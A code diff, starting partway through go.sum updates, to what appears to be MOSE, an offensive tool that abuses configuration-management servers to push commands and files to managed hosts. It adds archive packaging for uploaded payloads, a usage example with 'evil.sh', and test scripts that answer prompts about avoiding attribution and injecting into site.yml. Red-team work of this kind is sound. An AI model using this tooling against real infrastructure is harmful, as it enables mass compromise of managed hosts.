h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= @@ -170,17 +187,23 @@ golang.org/x/crypto v0.0.0-20190422183909-d864b10871cd h1:sMHc2rZHuzQmrbVoSpt9Hg golang.org/x/crypto v0.0.0-20190422183909-d864b10871cd/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4 h1:ydJNl0ENAG67pFbB+9tfhiL2pYqLhfoaZFw/cjLhY4A= golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c h1:/nJuwDLoL/zrqY6gf57vxC+Pi+pZ8bfhpPkicO5H7W4= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72 h1:+ELyKg6m8UBf0nPFSqD0mi7zUfwPyXo23HNjMnXPz7w= golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6 h1:Sy5bstxEqwwbYs6n0/pBuxKENqOeZUgD45Gp3Q3pqLg= +golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190502183928-7f726cade0ab h1:9RfW3ktsOZxgo9YNbBAjq1FWzc/igwEcUzZz8IXgSbk= golang.org/x/net v0.0.0-20190502183928-7f726cade0ab/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 h1:Ao/3l156eZf2AW5wK8a7/smtodRU+gha3+BeqJ69lRk= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -203,15 +226,26 @@ golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 h1:LfCXLvNmTYH9kEmVgqbnsWfruoXZIrh4YBgqVHtDvw0= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4 h1:sfkvUWPNGwSV+8/fNqctR5lS2AqCSqYwXdrjCxp/dXo= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 h1:SvFZT6jyqRaOeXpc5h/JSfZenJ2O330aBsf7JfSUXmQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI= golang.org/x/tools v0.0.0-20191004055002-72853e10c5a3 h1:2AmBLzhAfXj+2HCW09VCkJtHIYgHTIPcTeYqgP7Bwt0= golang.org/x/tools v0.0.0-20191004055002-72853e10c5a3/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200204192400-7124308813f3 h1:Ms82wn6YK4ZycO6Bxyh0kxX3gFFVGo79CCuc52xgcys= +golang.org/x/tools v0.0.0-20200204192400-7124308813f3/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200214225126-5916a50871fb h1:v/vJOBYLZ/j1iLRnB+xIrKSrcDL2mEvX8M8yx6cvs7M= +golang.org/x/tools v0.0.0-20200214225126-5916a50871fb/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8 h1:Nw54tB0rB7hY/N0NQvRW8DG4Yk3Q6T9cu9RcFQDu1tc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= @@ -223,10 +257,14 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/src-d/go-billy.v4 v4.3.0 h1:KtlZ4c1OWbIs4jCv5ZXrTqG8EQocr0g/d4DjNg70aek= gopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk= +gopkg.in/src-d/go-billy.v4 v4.3.2 h1:0SQA1pRztfTFx2miS8sA97XvooFeNOmvUenF4o0EcVg= +gopkg.in/src-d/go-billy.v4 v4.3.2/go.mod h1:nDjArDMp+XMs1aFAESLRjfGSgfvoYN0hDfzEk0GjC98= gopkg.in/src-d/go-git-fixtures.v3 v3.5.0 h1:ivZFOIltbce2Mo8IjzUHAFoq/IylO9WHhNOAJK+LsJg= gopkg.in/src-d/go-git-fixtures.v3 v3.5.0/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g= gopkg.in/src-d/go-git.v4 v4.12.0 h1:CKgvBCJCcdfNnyXPYI4Cp8PaDDAmAPEN0CtfEdEAbd8= gopkg.in/src-d/go-git.v4 v4.12.0/go.mod h1:zjlNnzc1Wjn43v3Mtii7RVxiReNP0fIu9npcXKzuNp4= +gopkg.in/src-d/go-git.v4 v4.13.1 h1:SRtFyV8Kxc0UP7aCHcijOMQGPxHSmMOPrzulQWolkYE= +gopkg.in/src-d/go-git.v4 v4.13.1/go.mod h1:nx5NYcxdKxq5fpltdHnPa2Exj4Sx0EclMWZQbYDu2z8= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= diff --git a/main.go b/main.go index 44ad8c3..f32a054 100644 --- a/main.go +++ b/main.go @@ -60,6 +60,10 @@ func generateParams() { f.Close() + if UserInput.FileUpload != "" { + UserInput.FileUpload = origFileUpload + } + if err != nil { log.Fatal("Execute: ", err) } @@ -119,11 +123,18 @@ func generatePayload() { } } - if UserInput.FilePath != "" { + // FilePath specified with command to run + if UserInput.FilePath != "" && UserInput.FileUpload == "" { moseutils.Msg("Creating binary at: " + UserInput.FilePath) payload = UserInput.FilePath } + // FilePath used as tar output location in conjunction with FileUpload + if UserInput.FilePath != "" && UserInput.FileUpload != "" { + moseutils.Msg("File Upload specified, copying file to payloads directory. FilePath supplied, tar file will be located at specified location") + moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + } + _, err := utils.RunCommand("env", "GOOS="+strings.ToLower(UserInput.OSTarget), "GOARCH=amd64", "go", "build", "-o", payload) if UserInput.Debug { @@ -178,8 +189,25 @@ func main() { if UserInput.FileUpload != "" { targetBin := filepath.Join("payloads", UserInput.CMTarget+"-"+strings.ToLower(UserInput.OSTarget)) files := []string{filepath.Join("payloads", filepath.Base(UserInput.FileUpload)), targetBin} - moseutils.Info("Compressing files %v into payloads/files.tar", files) - moseutils.TarFiles(files, "payloads/files.tar") + archiveLoc := "payloads/files.tar" + if UserInput.FilePath != "" { + archiveLoc = UserInput.FilePath + } + + // Specify tar for the archive type if no extension is defined + if filepath.Ext(archiveLoc) == "" { + archiveLoc = archiveLoc + ".tar" + } + + moseutils.Info("Compressing files %v into %s", files, archiveLoc) + + loc, err := moseutils.ArchiveFiles(files, archiveLoc) + if err != nil { + moseutils.ErrMsg("Error generating archive file", err) + } + if UserInput.Debug { + log.Printf("Archive file created at %s", loc) + } } // If the user hasn't specified to output the payload to a file, then serve it diff --git a/pkg/moseutils/cli.go b/pkg/moseutils/cli.go index 2c93bed..80ee76d 100644 --- a/pkg/moseutils/cli.go +++ b/pkg/moseutils/cli.go @@ -7,6 +7,7 @@ package moseutils import ( "flag" "os" + "strings" ) // CliArgs holds command line arguments specified through user input @@ -49,13 +50,20 @@ func setFlags() { flag.Parse() } -// validateInput ensures that the user inputs proper arguments into mose. +// validateInput ensures that the user inputs proper arguments into MOSE. func validateInput() bool { if cmd == "" && fileUpload == "" { - ErrMsg("You must specify a cm target, a command, and an operating system.") - ErrMsg("Example: mose -t puppet -c pwd -o Linux") + ErrMsg("You must specify a CM target and a command or file to upload.") + ErrMsg("Example: mose -t puppet -c pwd") return false } + + if cmd != "" && fileUpload != "" { + ErrMsg("You must specify a CM target, a command or file to upload, and an operating system.") + ErrMsg("Example: mose -t chef -fu evil.sh") + return false + } + return true } @@ -78,7 +86,7 @@ func ParseCLIArgs() CliArgs { FileUpload: fileUpload, LocalIP: localIP, PayloadName: payloadName, - OSTarget: osTarget, + OSTarget: strings.ToLower(osTarget), WebSrvPort: webSrvPort, RemoteUploadFilePath: remoteUploadFilePath, SettingsPath: settingsPath, diff --git a/pkg/moseutils/fileutils.go b/pkg/moseutils/fileutils.go index 3360b7a..225e8ce 100644 --- a/pkg/moseutils/fileutils.go +++ b/pkg/moseutils/fileutils.go @@ -144,15 +144,25 @@ func LinesFromReader(r io.Reader) ([]string, error) { return lines, nil } -// TarFiles will create a tar file at a specific location (tarLocation) with the files specified (files) -func TarFiles(files []string, tarLocation string) { - tar := archiver.Tar{ - OverwriteExisting: true, +// ArchiveFiles will create an archive file at a specific location (archiveLocation) with the files specified (files) +// currently only supports tar and zip based archives. Rar can handle unpacking only and gz does not handle files +func ArchiveFiles(files []string, archiveLocation string) (string, error) { + ext, err := archiver.ByExtension(filepath.Base(archiveLocation)) + if err != nil { + return "", err + } + if _, err := os.Stat(archiveLocation); !os.IsNotExist(err) { + _ = os.Remove(archiveLocation) } - if err := tar.Archive(files, tarLocation); err != nil { - log.Fatalln(err) + arc, ok := ext.(archiver.Archiver) + if !ok { + return "", errors.New("Archive type not supported currently currently supported: (tar.gz, tar, tar.xz, zip)") + } + if err := arc.Archive(files, archiveLocation); err != nil { + return "", err } + return archiveLocation, nil } // ReplLineInFile will replace a line in a file (filePath) with the specified replStr and delimiter (delim) @@ -216,7 +226,7 @@ func RemoveTracker(filePath string, osTarget string, destroy bool) { continue } if !destroy { - ans, err = AskUserQuestion("Would you like to remove this file/folder "+filename, osTarget) + ans, err = AskUserQuestion("Would you like to remove this file: "+filename+"? ", osTarget) if err != nil { log.Fatal("Quitting cleanup...") } diff --git a/pkg/moseutils/sysutils.go b/pkg/moseutils/sysutils.go index cc5d81f..a26b85e 100644 --- a/pkg/moseutils/sysutils.go +++ b/pkg/moseutils/sysutils.go @@ -5,6 +5,7 @@ package moseutils import ( + "errors" "io/ioutil" "log" "os" @@ -12,6 +13,7 @@ import ( "path/filepath" "regexp" "strings" + "syscall" ) // CpFile is used to copy a file from a source (src) to a destination (dst) @@ -39,6 +41,31 @@ func Cd(dir string) { } } +// GetUIDGid gets the uid and gid of a file +func GetUIDGid(file string) (int, int, error) { + info, err := os.Stat(file) + if err != nil { + return -1, -1, err + } + if stat, ok := info.Sys().(*syscall.Stat_t); ok { + UID := int(stat.Uid) + GID := int(stat.Gid) + return UID, GID, nil + } + return -1, -1, errors.New("Unable to retrieve UID and GID of file") +} + +// ChownR recursively change owner of directory +func ChownR(path string, uid int, gid int) error { + return filepath.Walk(path, func(name string, info os.FileInfo, err error) error { + if err != nil { + return err + } + _ = os.Chown(name, uid, gid) + return nil + }) +} + // FindFiles finds files based on their extension in specified directories // locations - where to search for files // extensionList - file extensions to search for @@ -49,7 +76,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d var foundFiles = make(map[string]int) var foundDirs = make(map[string]int) fileList, dirList := GetFileAndDirList(locations) - // iterate through filenames if they are provided + // iterate through filenames if they are provided for _, fileContains := range fileNames { for _, file := range fileList { if strings.Contains(file, fileContains) { @@ -124,8 +151,8 @@ func FindFile(fileName string, dirs []string) (bool, string) { } // CreateFilePath will create a file specified -// Check prefixes of path that normal filepath package won't expand inherantly -// if it matches any prefix $HOME, ~/, / then we need to treat them seperately +// Check prefixes of path that normal filepath package won't expand inherently +// if it matches any prefix $HOME, ~/, / then we need to treat them separately func CreateFilePath(text string, baseDir string) (string, error) { var path string _, err := user.Current() diff --git a/pkg/moseutils/sysutils_test.go b/pkg/moseutils/sysutils_test.go new file mode 100644 index 0000000..a00fe6e --- /dev/null +++ b/pkg/moseutils/sysutils_test.go @@ -0,0 +1,36 @@ +// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). +// Under the terms of Contract DE-NA0003525 with NTESS, +// the U.S. Government retains certain rights in this software +package moseutils + +import ( + "os" + "testing" + + utils "github.com/l50/goutils" +) + +func TestCpFile(t *testing.T) { + ogFile := "test.txt" + newFile := "copiedTest.txt" + // If the file doesn't exist, create it, or append to the file + f, err := os.OpenFile(ogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + t.Fatal(err) + } + if _, err := f.Write([]byte("appended some data\n")); err != nil { + f.Close() // ignore error; Write error takes precedence + t.Fatal(err) + } + if err := f.Close(); err != nil { + t.Fatal(err) + } + CpFile(ogFile, newFile) + exists := utils.FileExists(newFile) + if !exists { + t.Fatal("Copy functionality is not working!") + } else { + os.Remove(ogFile) + os.Remove(newFile) + } +} diff --git a/pkg/moseutils/ui.go b/pkg/moseutils/ui.go index b29f85f..3b0413d 100644 --- a/pkg/moseutils/ui.go +++ b/pkg/moseutils/ui.go @@ -39,38 +39,46 @@ func AskUserQuestion(question string, osTarget string) (bool, error) { } } -func IndexedUserQuestion(question string, osTarget string, validIndices map[int]bool) (map[int]bool, error) { +// IndexedUserQuestion takes a question from a user and returns true or false based on the input. +// The input must be a number, which correspond to an index of an answer. +// The operating system must be specified as an input in order to handle the line ending properly; +// Windows uses a different line ending scheme than Unix systems +// pp is used to pass in an anonymous function for pretty printing - see validateIndicies() in cmd/mose/ansible/main.go for an example +// Loosely based on https://tutorialedge.net/golang/reading-console-input-golang/ +func IndexedUserQuestion(question string, osTarget string, validIndices map[int]bool, pp func()) (map[int]bool, error) { reader := bufio.NewReader(os.Stdin) for { var err error - fmt.Println(question + "(Provide answer as comma seperated)") + fmt.Println(question) text, _ := reader.ReadString('\n') if strings.Contains(text, "q") { return nil, errors.New("Quit") + } + if osTarget == "windows" { + text = text[:len(text)-2] } else { - if osTarget == "windows" { - text = text[:len(text)-2] - } else { - text = text[:len(text)-1] - } - strnums := strings.Split(text, ",") - nums := make(map[int]bool) - for _, n := range strnums { - n = strings.TrimSpace(n) - num, e := strconv.Atoi(n) - if e != nil { - fmt.Println("Number provided is not an integer, ...") - err = e - } else if !validIndices[num] { - fmt.Printf("Number is not valid see %v", validIndices) - err = errors.New("Number is not within index") - } else { - nums[num] = true + text = text[:len(text)-1] + } + strnums := strings.Split(text, ",") + nums := make(map[int]bool) + for _, n := range strnums { + n = strings.TrimSpace(n) + num, e := strconv.Atoi(n) + if e != nil { + ErrMsg("Number provided is not an integer") + err = e + } else if !validIndices[num] { + ErrMsg("Number is not valid, try again") + if pp != nil { + pp() } + err = errors.New("input number is not a valid index") + } else { + nums[num] = true } - if err == nil && len(nums) > 0 { - return nums, nil - } + } + if err == nil && len(nums) > 0 { + return nums, nil } } } diff --git a/pkg/moseutils/userinput.go b/pkg/moseutils/userinput.go index f99dd3e..88576f5 100644 --- a/pkg/moseutils/userinput.go +++ b/pkg/moseutils/userinput.go @@ -80,6 +80,16 @@ func processInput() { Cli = ParseCLIArgs() JSONSettings = loadSettings(Cli.SettingsPath) + // Translate Relative path to absolute path from mose top level directory + if Cli.FilePath != "" { + path, err := filepath.Abs(Cli.FilePath) + if err != nil { + log.Printf("Error generating absolute payload FilePath from %s", Cli.FilePath) + } + + Cli.FilePath = path + } + // If rhost isn't specified as an input parameter, set it to the value in settings.json if Cli.Rhost == "" { Cli.Rhost = JSONSettings.RemoteHost diff --git a/scripts/test_ansible_cmd.exp b/scripts/test_ansible_cmd.exp new file mode 100755 index 0000000..55f6478 --- /dev/null +++ b/scripts/test_ansible_cmd.exp @@ -0,0 +1,10 @@ +#!/usr/bin/expect -f + +spawn /ansible-linux + +expect "Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. \[Y/n/q\]" +send "Y\r" + +expect "Would you like to target all managed hosts? \[Y/n/q\]" +send "Y\r" +expect eof \ No newline at end of file diff --git a/scripts/test_ansible_file_upload.exp b/scripts/test_ansible_file_upload.exp new file mode 100755 index 0000000..8c8759c --- /dev/null +++ b/scripts/test_ansible_file_upload.exp @@ -0,0 +1,13 @@ +#!/usr/bin/expect -f + +spawn /ansible-linux + +expect "Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. \[Y/n/q\]" +send "Y\r" + +expect "Would you like to target all managed hosts? \[Y/n/q\]" +send "n\r" + +expect "Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):" +send "0\r" +expect eof \ No newline at end of file diff --git a/templates/salt/params.tmpl b/templates/salt/params.tmpl index f39a036..16a447b 100644 --- a/templates/salt/params.tmpl +++ b/templates/salt/params.tmpl @@ -17,4 +17,4 @@ func CreateAgent() agent.Agent { SaltBackupLoc: "{{.SaltBackupLoc}}", } return agent -} \ No newline at end of file +}